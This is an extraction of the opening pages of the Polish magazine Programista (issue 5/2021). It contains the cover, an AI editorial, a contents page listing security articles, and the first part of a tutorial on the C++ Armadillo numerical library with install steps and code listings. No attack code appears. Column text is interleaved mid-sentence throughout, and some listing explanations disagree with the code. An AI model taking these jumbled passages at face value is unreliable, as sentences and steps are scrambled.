You are on page 1of 80

CZY BITCOIN BITCOINOWI JEST RÓWNY | PUŁAPKI W JĘZYKU GO | POWRÓT DO PRZESZŁOŚCI – SUWAK LOGARYTMICZNY

Index: 285358 www • programistamag • pl

Magazyn programistów i liderów zespołów IT

5/ 2021 (99) Cena 25,90 zł (w tym VAT 8%)


listopad/grudzień 2021

Armadillo
Obliczenia numeryczne w C++

Analiza złośliwego oprogramowania HackTheBox Craft


Jak odszyfrować nieodszyfrowalne – CTF dla pentestera

Wyjaśniamy memy z JavaScript Zdalne wykonanie kodu w Wordpressie


#
/* Migawka AI */

Sztuczna inteligencja (ang. artificial intelligence) znajduje zastosowa- biście bardzo zachęcam do pisania kodu w Pythonie, ponieważ śro-
nie w wielu obszarach naszego życia. W medycynie algorytmy uczenia dowisko ludzi piszących w tym języku jest bardzo duże, a jego specy-
maszynowego (ang. machine learning) wspomagają pracę w rozwiązy- fika pozwala na szybkie uzyskiwanie rezultatów. Dodatkowo, co jest
waniu trudnych problemów, informując lekarza o ogniskach chorobo- niezwykle istotne, Python oferuje wsparcie dla programowania rów-
wych na podstawie analizy obrazów. Nowoczesne technologie trafiają noległego z wykorzystaniem technologii CUDA. Innym językiem, który
do naszych smartfonów, pralek, inteligentnych domów, samochodów. świetnie się tu sprawdzi, jest C++ i możliwość sprawnego zarządzania
Rozwój sprzętu, szczególnie kart graficznych, pozwala na stosowanie pamięcią.
coraz bardziej wyrafinowanych algorytmów, które w sposób równole- Realizacja zadań związanych z zastosowaniem sztucznej inteligen-
gły mogą analizować miliony przypadków w ciągu sekundy. Wiele pro- cji wiąże się z odpowiednim podejściem do zagadnienia przetwarzania
cesów wkracza w świat sztucznej inteligencji i jest stale optymalizo- danych. Każdy projekt, choćby z tej samej dziedziny problemowej, jest
wanych/automatyzowanych bądź rozwiązywanych. inny, gdyż klienci różnie podchodzą do przechowywania informacji. Zro-
Często w odniesieniu do rodzaju analizowanego problemu możemy zumienie danych to prawdziwy klucz do sukcesu w każdym projekcie
nauczyć model AI kategoryzować – mówimy wtedy o klasyfikacji. Kiedy związanym z AI. Na polu przetwarzania danych również mamy do czy-
wyznaczamy wartość rzeczywistą na wyjściu takiego modelu (np. cenę nienia z ciągłym procesem udoskonalania metod, które w coraz bardziej
mieszkania), to mówimy o podejściu regresyjnym. Możemy też cho- wyrafinowany sposób pozwalają wydobyć nowe informacje z danych.
ciażby nauczyć algorytm AI przewidywania awarii na linii produkcyjnej Oczywiście nie oznacza to, że wcześniej poznane metody są nieużywa-
– wtedy mówimy o predykcji. Celem stosowania sztucznej inteligencji ne; wręcz przeciwnie – często poznanie prostych mechanizmów grupo-
jest uogólnienie problemu. To znaczy, że sieć prawidłowo rozpoznaje wania, korelacji, rozkładu zmiennych czy też sporządzania wykresów
przykłady, które nigdy wcześniej nie były podawane na jej wejście. pudełkowych przynosi sporą wiedzę o problemie i znacznie wspomaga
Opanowanie wiedzy z zakresu stosowania sztucznej inteligencji wytwarzanie rozwiązania o wysokiej skuteczności działania.
wymaga sporo czasu i dużo praktyki. Korzystanie z komercyjnych fra- Podobnie jak w programowaniu np. webowym, tak również i w projek-
meworków, jak np. TensorFlow, Theano, Caffe, odciąża programistę od tach wymagających zastosowania mechanizmów sztucznej inteligen-
implementacji algorytmów, jednak nie powinno zwalniać z poznania cji kluczowe jest wykonanie testów pod kątem jakości uzyskiwanych
szczegółów działania tych operacji. Kiedy kilkanaście lat temu zaczy- rezultatów. W odniesieniu do algorytmów AI istnieją metryki sku-
nałem przygodę ze sztuczną inteligencją, wiele osób zajmujących się teczności, które w zależności od zastosowań mogą się nieco różnić.
tą dziedziną odradzało mi poznawanie algorytmów od zera. W swojej Niemniej jednak niezwykle istotne jest przetestowanie działania pod
pracy miałem okazję tworzyć kilka frameworków AI. Pozwoliło mi to kątem kilku metryk. Jeśli stosowana jest jedynie metryka skuteczno-
na dokładne poznanie metod, które dzisiaj stosuję w praktyce. Nie za- ści accuracy, to warto zapoznać się z metrykami recall, precision i F1
wsze bowiem popularne frameworki są wystarczające do rozwiązania Score, które pozwalają lepiej ocenić pracę modeli AI.
stawianego przez klienta problemu. Czasem należy dopasować algo- Sztuczna inteligencja daje wspaniałe możliwości rozwiązywania
rytmy do sprzętu, na którym wykonywane są obliczenia, tak aby „wyci- trudnych problemów. Można ją zastosować również tam, gdzie skom-
snąć” kilka(naście) razy większą wydajność. Osiąganie wysokiej sku- plikowane procesy wymagają automatyzacji/ulepszenia. Każdy pro-
teczności działania algorytmów sztucznej inteligencji jest niemożliwe jekt oparty o AI jest unikatowy. Niezwykle istotna jest wiedza o dzia-
bez znajomości ich funkcjonowania. Zdarza się, że użycie mniej wyrafi- łaniu opracowanych już metod, tak aby „nie wymyślać koła na nowo”,
nowanych metod daje większą skuteczność niż użycie nowoczesnych a z drugiej strony znać ich słabsze strony i ulepszać je przy opraco-
struktur sieci neuronowych. W każdym projekcie, przy którym miałem waniu rozwiązania. Kluczowe jest również podejście do operacji na
okazję pracować, modyfikacja ogólnie znanych metod czy struktur sie- danych. Bez znajomości i odpowiedniego przetworzenia danych nie
ci neuronowych pozwoliła uzyskać większą skuteczność działania. może powstać dobry projekt.
W jakim języku programować mechanizmy sztucznej inteligencji?
Piotr Woldan
Na początek może to być taki, w którym najlepiej się czujemy. Oso-

/* REKLAMA */
SPIS TREŚCI

BIBLIOTEKI I NARZĘDZIA
6 # Obliczenia numeryczne w C++ przy użyciu biblioteki Armadillo
01010000
01110010
> Adam Emieljaniuk

JĘZYKI PROGRAMOWANIA
18 # Wyjaśniamy memy z JavaScript

01101111
> Michał Jawulski

PROGRAMOWANIE APLIKACJI WEBOWYCH


24 # API Platform – szybkie tworzenie przystępnego REST API w PHP.

01100111
Zarządzanie operacjami, walidacjami i polami
> Adrian Chojnicki

BEZPIECZEŃSTWO

01110010
32 # Pułapki w języku Go
> Dominik 'Disconnect3d' Czarnota

38 # HackTheBox Craft – CTF dla pentestera

01100001
> foxtrot_charlie

48 # Analiza złośliwego oprogramowania:


jak odszyfrować nieodszyfrowalne?

01101101
> Jarosław Jedynak

Z ARCHIWUM CVE
6o # Zdalne wykonanie kodu w Wordpressie

01101001
> Mariusz Zaborski

PLANETA IT
66 # Matematyczna (pre)historia, czyli o suwaku logarytmicznym

01110011
> Wojciech Macek

72 # Czy bitcoin bitcoinowi jest równy?


> Przemysław Trepka

01110100
01100001
ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA

Przez formularz na stronie:.............................http://programistamag.pl/typy-prenumeraty/


Na podstawie faktury Pro-forma:.........................redakcja@programistamag.pl

Prenumerata realizowana jest także przez RUCH S.A.


Zamówienia można składać bezpośrednio na stronie:.......www.prenumerata.ruch.com.pl
Pytania prosimy kierować na adres e-mail:...............prenumerata@ruch.com.pl
Kontakt telefoniczny:...................................801 800 803 lub 22 717 59 59*

*godz. 7 : 00 – 18 : 00 (koszt połączenia wg taryfy operatora)

Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@programistamag.pl). Redaktor prowadzący: Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
Mariusz „maryush” Witkowski (mariuszwitkowski@programistamag.pl). Korekta: Tomasz Łopuszański. Kierownik wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
produkcji/DTP: Krzysztof Kopciowski. Dział reklamy: reklama@programistamag.pl, tel. +48 663 220 102, nakładzie i objętości czasopisma.
tel. +48 604 312 716. Prenumerata: prenumerata@programistamag.pl. Współpraca: Michał Bartyzel, Mariusz O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Sieraczkiewicz, Dawid Kaliszewski, Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Sławomir Sobótka, Dawid Borycki, Gynvael Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał ich bez zezwolenia jest Zabronione.
Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, Jarosław Jedynak, Damian Bogel (https://kele.codes/), Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Michał Zbyl, Dominik 'Disconnect3d' Czarnota. Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: http://www.edit.net.pl/, Nakład: 4500 egz. prezentowanych na łamach magazy­nu Programista.
BIBLIOTEKI I NARZĘDZIA

Obliczenia numeryczne w C++


przy użyciu biblioteki Armadillo
Czy odkrywanie koła na nowo jest czymś, na co warto poświęcać czas? Prawdopodobnie nie.
To samo tyczy się implementacji często używanych struktur danych i algorytmów do obliczeń
numerycznych. Na szczęście możemy skorzystać z prostego w użyciu rozwiązania, które łą-
czy w sobie najlepsze cechy wielu popularnych bibliotek i dodaje do nich szereg optymaliza-
cji. Zapoznajmy się z Armadillo – biblioteką do realizacji obliczeń numerycznych w C++.

CZYM JEST ARMADILLO? nistego (tj. tworzenie sekcji programu, które mogą być wykonywane
równolegle). Pełna specyfikacja API OpenMP dostępna jest na stro-
Armadillo jest biblioteką C++ służącą do realizacji obliczeń algebry nie internetowej biblioteki [4].
liniowej, mającą na celu zachowanie równowagi pomiędzy łatwością Korzystając z Armadillo, nie musimy zastanawiać się, które frag-
użycia i szybkością działania. Dostarcza generycznych typów danych menty kodu mogą być zrównoleglone, a które nie. Co najważniejsze,
oraz funkcji i operatorów umożliwiających realizację wielu działań i nie musimy martwić się zachowaniem zależności w kodzie, co przy
operacji na macierzach i wektorach. Korzysta przy tym z szeregu im- bardziej skomplikowanych programach bywa problematyczne. Wszyst-
plementacji dostarczonych przez sprawdzone biblioteki do obliczeń ko dzieje się automatycznie, gdy korzystamy z kompilatora obsługują-
numerycznych i dodaje do tego automatyczne zrównoleglenie obli- cego standard C++11/C++14 i OpenMP w wersji co najmniej 3.1.
czeń z wykorzystaniem OpenMP.
Każdy, kto korzystał z Matlaba, może odnieść wrażenie, że kod
LAPACK
napisany w Armadillo wygląda znajomo. Jednym z założeń pod-
czas tworzenia biblioteki było umożliwienie prostej konwersji kodu LAPACK (ang. Linear Algebra PACKage) [5] jest biblioteką napisaną
Matlab/Octave na C++. Wiele rzeczy realizowanych jest bez wiedzy w języku Fortran zawierającą szereg funkcji służących do numerycz-
programisty. Całe wyrażenia są optymalizowane, aby łączyć łańcuchy nego rozwiązywania najpopularniejszych problemów algebry linio-
wyrażeń dla zwiększenia szybkości ich obliczania. wej. Zawiera ona API dla języka C o nazwie LAPACKE, z którego
Istotną zaletą jest również licencja Apache 2.0, która pozwala na korzysta Armadillo. API to jest wykorzystywane m.in. do rozkładów
wykorzystanie Armadillo zarówno do zastosowań prywatnych, open- macierzy (jak rozkład LU, QR, Schura etc.), a także do realizacji dzia-
-sourcowych, jak i komercyjnych, pod warunkiem załączenia właści- łań na macierzach gęstych.
wych informacji dotyczących licencjonowania. Dzięki Armadillo możemy korzystać z wszelkich dobrodziejstw,
które daje nam standard C++11 i jego następcy. Nie ma potrzeby

BIBLIOTEKI DODATKOWE zgłębiania tajników wysoko- i średniopoziomowego API LAPACKE


dla języka C, konwencji nazewniczych i całego gąszczu wyspecjali-
Armadillo ma szereg wbudowanych struktur danych i algorytmów. zowanych funkcji [10]. Możemy za to używać wygodnych typów
Są one wystarczająco dobre do realizacji prostych obliczeń na małych generycznych i operujących na nich funkcji dostarczonych przez
i średnich macierzach. Aby jednak wydobyć pełną moc biblioteki, ko- Armadillo.
nieczne jest zainstalowanie kilku dodatkowych zależności. Szczegóły
dotyczące instalacji przedstawiono w dalszej części artykułu, tutaj
OpenBLAS
natomiast skupimy się na tym, jakie korzyści dają nam poszczególne
biblioteki i z których warto skorzystać. Poniżej znajdują się jedynie OpenBLAS (ang. Open Basic Linear Algebra Subprograms) [6] jest
krótkie opisy niektórych z nich, ponieważ w większości przypadków wydajną, open-sourcową implementacją BLAS. Odpowiada za naj-
można stosować ich różne odpowiedniki. popularniejsze niskopoziomowe operacje algebry liniowej wektor-
-wektor, wektor-macierz oraz macierz-macierz (np. dodawanie
wektorów, mnożenie wektora przez macierz czy mnożenie macierzy
OpenMP
przez macierz).
OpenMP (ang. Open Multi-Processing) [4] jest biblioteką, której nie Wybierając tę implementację, otrzymujemy dodatkowo szereg
trzeba przedstawiać większości osób programujących w C, C++ i optymalizacji dedykowanych różnym platformom sprzętowym. Po-
Fortranie. Jest to wieloplatformowe API dostarczające szeregu dy- nadto OpenBLAS korzysta z wielowątkowości, jednak z pewnymi
rektyw kompilatora i funkcji umożliwiających zrównoleglanie kodu. zastrzeżeniami dotyczącymi zrównoleglenia naszego programu. Na
OpenMP najczęściej wykorzystuje się do tworzenia równoległego szczęście i w tym przypadku szczegóły konfiguracyjne nas nie intere-
kodu drobnoziarnistego (czyli zrównoleglanie pętli) oraz gruboziar- sują, bo zajmuje się nimi Armadillo.

<6> { 5 / 2021 < 99 > }


/ Obliczenia numeryczne w C++ przy użyciu biblioteki Armadillo /

nie możemy (lub nie chcemy) korzystać ze standardu C++11/C++14,


NVBLAS
możemy użyć starszej wersji 9.900.6. W obu przypadkach interesują-
NVBLAS [7] jest implementacją BLAS zoptymalizowaną pod ką- ce nas archiwa dostępne są w zakładce Download na stronie Arma-
tem wykonywania obliczeń na kartach graficznych NVIDIA. Służy dillo [3]. Jeśli zamierzamy realizować bardziej wymagające obliczenia
jedynie do realizacji operacji macierz-macierz, ale potrafi znacznie i oczekujemy maksymalnej wydajności, zalecane jest korzystanie z
przyspieszyć działania tego typu. Równie dobrze można skorzystać systemu Linux.
z wielu innych implementacji BLAS, przy czym wybór zależy od tego,
jakie problemy algebry liniowej będziemy rozwiązywać i z jakiej plat-
Instalacja w systemie Linux
formy sprzętowej korzystamy.
Mamy do wyboru dwa warianty: instalacja przy użyciu cmake oraz
instalacja ręczna. Zalecane jest skorzystanie z cmake, co jest nie tylko
ARPACK/ARPAK++
szybsze, ale również mniej podatne na błędy. Podczas instalacji istot-
ARPACK (ang. ARnoldi PACKage) [8], czyli Fortran po raz kolej- ne jest, aby wszystkie biblioteki pomocnicze zostały zainstalowane
ny. Jest to biblioteka dostarczająca algorytmów dedykowanych do przed Armadillo. Poniżej przedstawiono szczegółowy opis instalacji
dużych macierzy rzadkich (lub rozrzedzonych, w zależności od sto- z wykorzystaniem cmake krok po kroku dla systemu Linux Ubuntu:
sowanego nazewnictwa) i macierzy ustrukturyzowanych. Wykorzy- 1. Czynności przygotowawcze:
stuje się tu metodę IRAM (ang. Implicitly Restarted Arnoldi Method),
$ sudo apt update
a dla macierzy symetrycznych metodę IRLM (ang. Implicitly Restar- $ sudo apt upgrade
ted Lanczos Method). Zasada działania tych metod została opisana $ sudo apt install -y build-essential cmake

na stronie internetowej biblioteki [8]. Wersja ARPAK zorientowana


obiektowo nosi nazwę ARPACK++. 2. Instalacja OpenBLAS:

$ sudo apt install -y libopenblas-base libopenblas-dev


SuperLU
SuperLU [9] jest biblioteką przeznaczoną do rozwiązywania dużych 3. Instalacja LAPACK:
układów równań liniowych z niesymetryczną macierzą rzadką. Zo-
$ sudo apt install -y liblapack-dev
stała ona napisana w języku C, ale ma również interfejs dla Fortra-
na. SuperLU korzysta z różnych form wielowątkowości przy pomocy
MPI, OpenMP i CUDA. 4. Instalacja ARPACK++:
Jak sugeruje nazwa, biblioteka korzysta z rozkładu LU, wykorzy-
$ sudo apt install -y libarpack++2-dev
stując szereg przekształceń i „sztuczek”. Ponadto macierze, na któ-
rych realizowane są obliczenia, nie są przechowywane w tablicach,
jak realizuje się to dla klasycznych macierzy gęstych. Zapamiętywane 5. Instalacja SuperLU:
są jedynie pozycje, w których znajdują się elementy niezerowe, i ich
$ sudo apt install -y libsuperlu-dev
wartości umieszczane są na liście. Pozostałe elementy domyślnie
traktowane są jako zerowe. Pozwala to na zaoszczędzenie pamięci
operacyjnej i umożliwia rozwiązywanie ogromnych układów rów- 6. Pobranie i rozpakowanie archiwum Armadillo:
nań, nieosiągalnych nawet dla ARPACK. Uwaga: Armadillo działa
$ wget http://sourceforge.net/projects/arma/files/
prawidłowo jedynie z SuperLU w wersjach 5.2.x! armadillo-10.6.2.tar.xz
$ tar -Jxvf armadillo-10.6.2.tar.xz
$ cd armadillo-10.6.2
Na co się zdecydować?
Wybór dodatkowych bibliotek zależy od tego, do czego planujemy 7. Instalacja Armadillo:
wykorzystać Armadillo i na jakiej platformie sprzętowej zamierzamy
$ cd armadillo-10.6.2
działać. Można jednak podać uniwersalną konfigurację na początek: $ cmake .
» obowiązkowo należy zainstalować: OpenBLAS i LAPACK, $ ./configure
$ sudo make install
» jeśli działamy również na macierzach rzadkich: ARPACK++
i SuperLU,
» kompilator obsługujący OpenMP 3.1 lub nowsze (np. gcc 4.7 8. Kompilacja i uruchomienie przykładowego programu:
lub późniejsze).
$ cd examples
$ g++ example1.cpp -o example1 -std=c++11 -O2 -larmadillo

INSTALACJA $ ./example1

Zaleca się używanie najnowszej stabilnej wersji Armadillo. W chwili W konsoli powinien pojawić się szereg działań. Przejrzenie kodu źró-
pisania tego artykułu była to wersja 10.6.2. Jeśli z jakichś przyczyn dłowego przykładowego programu pozwala szybko uzyskać ogólną

{ WWW.PROGRAMISTAMAG.PL } <7>
BIBLIOTEKI I NARZĘDZIA

wizję, jak wykorzystywać podstawowe struktury danych i funkcje Powyższe polecenia nie korzystają z optymalizacji kompilatora.
Armadillo. Kod jest bardzo intuicyjny i momentami może przypomi- Na ekranie powinien pojawić się widok podobny do poniższego:
nać program napisany w Matlabie.
0.7868
W przypadku instalacji przy pomocy cmake, zgodnie z procedurą 0.2505
przedstawioną powyżej, nie ma konieczności linkowania dodatko- 0.7107
0.9467
wych zależności. Flagi optymalizujące -O2 lub -O3 należy stosować
1.5736
dopiero w finalnej wersji programu lub podczas sprawdzania jego 0.5010
wydajności. 1.4213
1.8933

Instalacja w systemie Windows


Elementem, na który należy zwrócić uwagę, jest proste wyświetlanie
Instalacja w systemie Windows przypomina ręczną instalację pod danych. Można korzystać z przeciążonego operatora << lub z metody
Linuxem. Polega na skopiowaniu folderu include do folderu projek- v1.print(). Oba rozwiązania spowodują wyświetlenie na ekranie
tu lub wskazanie jego lokalizacji kompilatorowi. Następnie w pliku sformatowanych danych.
konfiguracyjnym include/armadillo_bits/config.hpp ustawiamy flagi
informujące, które biblioteki pomocnicze są dostępne w systemie.
STRUKTURY DANYCH
Należy również wskazać kompilatorowi ich lokalizacje.
Jeśli na co dzień korzystamy z systemu Windows, wartym rozwa- Armadillo dostarcza niezbędnych struktur danych do przechowywa-
żenia rozwiązaniem jest skorzystanie z WSL (Windows Subsystem nia wektorów oraz macierzy dwu- i trójwymiarowych. Dysponujemy
for Linux). Możemy wtedy zainstalować Armadillo zgodnie z przed- zestawem wygodnych typów generycznych, których elementy mogą
stawionym wcześniej opisem. przyjmować wartości różnych typów, tj.:
» float

HELLO ARMADILLO! » double


» std::complex<float>
Skoro wiemy już mniej więcej, czym dysponujemy, i mamy zainsta- » std::complex<double>
lowane wszystkie niezbędne komponenty, możemy napisać odpo- » short
wiednik „Hello World!” dla Armadillo. Kod prostego przykładowego » int / sword
programu przedstawiono w Listingu 1. » long
» unsigned short
Listing 1. Przykładowy program
» unsigned int / uword
#include <iostream> » unsigned long
#include <armadillo>
» cx_double / std::complex<double>
using namespace std;
using namespace arma; » cx_float / std::complex<float>
int main()
{ Jak widzimy powyżej, otrzymujemy również kilka aliasów typów pod-
vec v1 (4, fill::randu);
cout << v1 << endl; stawowych, tj. sword, uword, cx_double i cx_float. Pojawiają się one
regularnie w dokumentacji biblioteki, warto więc zwrócić na nie uwagę.
vec v2 = 2 * v1;
cout << v2 << endl;

}
return 0;
Macierze
Bazowym typem danych służącym do przechowywania macierzy gę-
Powyższy kod realizuje następujące czynności: stych jest klasa Mat<>. W nawiasach ostrych definiujemy, jaki typ da-
1. Tworzy wektor kolumnowy v1 o elementach typu double i wy- nych przechowywany jest w poszczególnych polach. Dla najczęściej
pełnia go losowymi wartościami z zakresu <0, 1>. wykorzystywanych typów danych zdefiniowano następujące aliasy:
2. Wyświetla zawartość wektora v1 na ekranie przy pomocy » mat – Mat<double>
std::cout. » dmat – Mat<double>
3. Tworzy nowy wektor v2 i przypisuje mu wartość będącą wyni- » fmat – Mat<float>
kiem mnożenia wektora v1 przez skalar 2. » cx_mat – Mat<cx_double>
4. Wyświetla zawartość wektora v2 na ekranie przy pomocy std::cout. » cx_dmat – Mat<cx_double>
» cx_fmat – Mat<cx_float>
Aby skompilować przykładowy program (zakładając, że znajduje się w » umat – Mat<uword>
pliku prog1.cpp) i sprawdzić jego działanie, należy wywołać komendy: » imat – Mat<sword>

$ g++ prog1.cpp -o prog1 -std=c++11 -larmadillo


$ ./prog1 Konstruktory klasy Mat<> zestawiono w Tabeli 1. W przykładach dla
skrócenia zapisu wykorzystano alias mat.

<8> { 5 / 2021 < 99 > }


/ Obliczenia numeryczne w C++ przy użyciu biblioteki Armadillo /

Konstruktor Działanie
porcjonalnie dużo pamięci operacyjnej w stosunku do ilości prze-
mat() Konstruktor domyślny
chowywanych informacji. Z pomocą przychodzi nam klasa SpMat<>
(ang. Sparse Matrix).
mat(n_rows, n_cols) Tworzy macierz o wskazanej ilości wierszy
i kolumn Klasa SpMat<> działa analogicznie do Mat<>. Możemy korzystać
mat(n_rows, n_cols, j/w. Dodatkowo wypełnia wszystkie pola z takiego samego zestawu aliasów, z tym że każdy zawiera przedro-
fill_form) w określony sposób (patrz Tabela 2)
stek sp_ (np. sp_fmat jest aliasem SpMat<float>). Konstruktory
mat(size(X)) Tworzy macierz o rozmiarze takim samym jak
również działają analogicznie, jest ich jednak znacznie mniej:
macierz X
» sp_mat()
mat(size(X), fill_form) j/w. Dodatkowo wypełnia wszystkie pola
w określony sposób (patrz Tabela 2) » sp_mat(n_rows, n_cols)
mat(mat) Tworzy kopię macierzy mat » sp_mat(size(X))
mat(vec) Tworzy macierz o jednej kolumnie na podstawie » sp_mat(sp_mat)
wektora kolumnowego vec » sp_mat(mat)
mat(rowvec) Tworzy macierz o jednym wierszu na podstawie
wektora wierszowego rowvec
Przykład tworzenia macierzy przedstawiono w Listingu 2.
mat(initializer_list) Tworzy macierz i wypełnia ją wartościami na pod-
stawie listy inicjalizującej. Stosuje się taki sam
Listing 2. Przykład tworzenia macierzy
zapis jak w zwykłych tablicach dwuwymiarowych
mat(string) Tworzy macierz i wypełnia ją wartościami na pod- #include <iostream>
stawie łańcucha znaków. Wartości w wierszach #include <armadillo>
powinny być oddzielone spacjami, natomiast
wiersze średnikami using namespace std;
using namespace arma;
mat(std::vector) Tworzy macierz o jednej kolumnie na podstawie
wektora STL int main()
{
mat(sp_mat) Przekształca macierz rzadką w macierz gęstą Mat<int> m1({ // 1
cx_mat(mat,mat) Tworzy macierz zespoloną na podstawie dwóch { 1, 2, 3 },
macierzy wartości rzeczywistych { 4, 5, 6 },
{ 7, 8, 9 } });
SpMat<int> m2(size(m1)); // 2
Tabela 1. Konstruktory klasy Mat<> (mat, fmat, ...) m2(0, 0) = 100; // 3

cout << "m1:" << endl << m1 << endl; // 4


cout << "m2:" << endl << m2 << endl; // 5
Jeśli nie zdefiniowano, w jaki sposób mają być wypełnione pola macie- cout << "m1 + m2:" << endl << (m1 + m2) << endl; // 6
rzy, to domyślnie przyjmowana jest wartość zero. Istnieją jeszcze bardziej return 0;
zaawansowane konstruktory, lecz są one rzadko wykorzystywane i nie }
zostały tu wymienione. Ich szczegółowy opis można znaleźć w doku-
mentacji biblioteki [3]. Istotną kwestią jest parametr fill_form. Może W powyższym programie wykonano następujące czynności:
on przyjąć jedną z wartości zestawionych w Tabeli 2. 1. Utworzono macierz gęstą o elementach stałoprzecinkowych m1
na podstawie listy inicjalizującej.
Wartość Metoda wypełnienia 2. Zadeklarowano macierz rzadką m2 o rozmiarze równym roz-
fill::zeros Wszystkie elementy równe 0 miarowi macierzy m1. Domyślnie macierz wypełniona jest ele-
fill::ones Wszystkie elementy równe 1 mentami o wartości 0.
fill::eye Elementy na głównej przekątnej równe 1, pozostałe 3. Elementowi macierzy m2 o indeksie (1, 1) przypisano wartość 100.
równe 0 (macierz jednostkowa)
4. Wypisano wartości macierzy gęstej m1.
fill::randu Wszystkie elementy przyjmują losowe wartości
z przedziału <0, 1> 5. Wyświetlono opis macierzy rzadkiej m2. Identyczny wynik dało-
fill::randn Wszystkie elementy przyjmują losowe wartości by użycie metody m2.print(). W przypadku macierzy rzadkich
zgodnie z rozkładem normalnym, ze średnią wartością nie wyświetla się wszystkich wartości, a jedynie rozmiar macie-
0 i wariancją 1
rzy, ilość elementów niezerowych, współczynnik nasycenia i li-
fill::value(scalar) Wszystkie elementy inicjowane są wskazanym
skalarem stę elementów niezerowych.
fill::none Elementy nie mają przypisanej wartości. Odwołanie 6. Zsumowano macierze m1 i m2 i wyświetlono wynik na ekranie.
się do komórek przed przypisaniem im wartości spo-
woduje uzyskanie przypadkowych wyników (undefined
behavior) W wyniku działania powyższego programu zobaczymy na ekranie:

Tabela 2. Wartości parametru fill_form m1:


1 2 3
4 5 6
7 8 9
Klasa Mat<> przeznaczona jest do przechowywania macierzy gęstych,
m2:
tzn. takich, w których większość pól jest niezerowa. Co w sytuacji, [matrix size: 3x3; n_nonzero: 1; density: 11.1%]
jeśli mamy do czynienia z macierzą rzadką o dużych rozmiarach (0, 0) 100

(np. 100x100 i więcej)? Jeśli zdecydowana większość wartości prze- m1 + m2:


101 2 3
chowywanych w naszej strukturze ma wartość zero? Korzystanie ze 4 5 6
struktur opartych na tablicach, jak Mat<>, pochłania wtedy niepro- 7 8 9

{ WWW.PROGRAMISTAMAG.PL } <9>
BIBLIOTEKI I NARZĘDZIA

Jak widać na powyższym przykładzie, obiekty klasy Mat<> i SpMat<> using namespace arma;
„dogadują się” bez problemu. Wynikiem działania na obiekcie Mat<> int main()
{
i SpMat<> jest zawsze obiekt klasy Mat<>.
mat m1(4, 1, fill::value(2.0)); // 1
vec v1(m1); // 2
vec v2(size(v1), fill::randu); // 3
Wektory cout << "v1:" << endl << v1 << endl; // 4
cout << "v2:" << endl << v2 << endl; // 5
Wektor kolumnowy (macierz składająca się z pojedynczej kolumny)
cx_vec v3(v1, v2); // 6
reprezentowany jest przez klasę Col<>. Tak jak w przypadku ma- cout << "v3:" << endl << v3 << endl; // 7
cierzy, mamy do dyspozycji szereg aliasów, które możemy stosować return 0;
w zależności od typu elementów w wektorze, tj.: }

» vec – colvec – Col<double>


» dvec – dcolvec – Col<double> W powyższym programie wykonano następujące czynności:
» fvec – fcolvec – Col<float> 1. Utworzono macierz gęstą o elementach typu double o nazwie
» cx_vec – cx_colvec – Col<cx_double> m1. Składa się ona z 4 wierszy i jednej kolumny. Wszystkie ele-
» cx_dvec – cx_dcolvec – Col<cx_double> menty zainicjowano wartością 2.0.
» cx_fvec – cx_fcolvec – Col<cx_float> 2. Przekształcono macierz m1 w wektor v1.
» uvec – ucolvec – Col<uword> 3. Utworzono wektor v2 o rozmiarze wektora v1 i wypełniono go
» ivec – icolvec – Col<sword> losowymi wartościami z przedziału <0, 1>.
4. Wypisano wartości wektora v1.
Widać tu analogię do klasy Mat<>, po której dziedziczy klasa Col<>. 5. Wypisano wartości wektora v2.
To samo tyczy się atrybutów i metod, o czym więcej w dalszej części 6. Utworzono wektor zespolony v3 o wartościach typu double.
artykułu. Części rzeczywiste poszczególnych elementów skopiowano
Konstruktory wektorów także są podobne do konstruktorów ma- z wektora v1, a części urojone z wektora v2.
cierzy. Zestawiono je w Tabeli 3 i podobnie jak poprzednio pominię- 7. Wypisano wartości wektora v3.
to rzadziej wykorzystywane warianty.
W wyniku działania powyższego programu zobaczymy na ekranie:
Konstruktor Działanie
vec() Konstruktor domyślny v1:
2.0000
vec(n_elem) Tworzy wektor o wskazanej ilości elementów 2.0000
(wierszy) 2.0000
2.0000
vec(n_elem, fill_form) j/w. Dodatkowo wypełnia wszystkie pola
w określony sposób (patrz Tabela 2) v2:
vec (size(X)) Tworzy wektor o rozmiarze takim samym jak 0.7868
0.2505
wektor X
0.7107
vec (size(X), fill_form) j/w. Dodatkowo wypełnia wszystkie pola 0.9467
w określony sposób (patrz Tabela 2)
v3:
vec (vec) Tworzy kopię wektora vec (+2.000e+00,+7.868e-01)
(+2.000e+00,+2.505e-01)
vec (mat) Tworzy wektor na podstawie macierzy o jednej
(+2.000e+00,+7.107e-01)
kolumnie. Jeśli macierz mat ma więcej kolumn, (+2.000e+00,+9.467e-01)
wyrzucany jest wyjątek std::logic_error
vec (initializer_list) Tworzy wektor i wypełnia ją wartościami na
podstawie listy inicjalizującej. Stosuje się taki
sam zapis jak w zwykłych tablicach jednowy- Wszystko, co mogliśmy przeczytać powyżej, dotyczy wektorów ko-
miarowych lumnowych, jednak możemy potrzebować wektora wierszowego.
vec (string) Tworzy wektor i wypełnia go wartościami na Służy do tego klasa Row<>. Jak w poprzednich przypadkach, Arma-
podstawie łańcucha znaków. Wartości powinny
być oddzielone spacjami dillo dostarcza nam zestaw wygodnych aliasów:
vec (std::vector) Tworzy wektor na podstawie wektora STL » rowvec – Row<double>
cx_vec (vec, vec) Tworzy wektor zespolony na podstawie dwóch » drowvec – Row<double>
wektorów wartości rzeczywistych » frowvec – Row<float>
» cx_rowvec – Row<cx_double>
Tabela 3. Konstruktory klasy Col<> (vec, colvec, ...)
» cx_drowvec – Row<cx_double>
» cx_frowvec – Row<cx_float>
Przykład tworzenia wektorów przedstawiono w Listingu 3. » urowvec – Row<uword>
» irowvec – Row<sword>
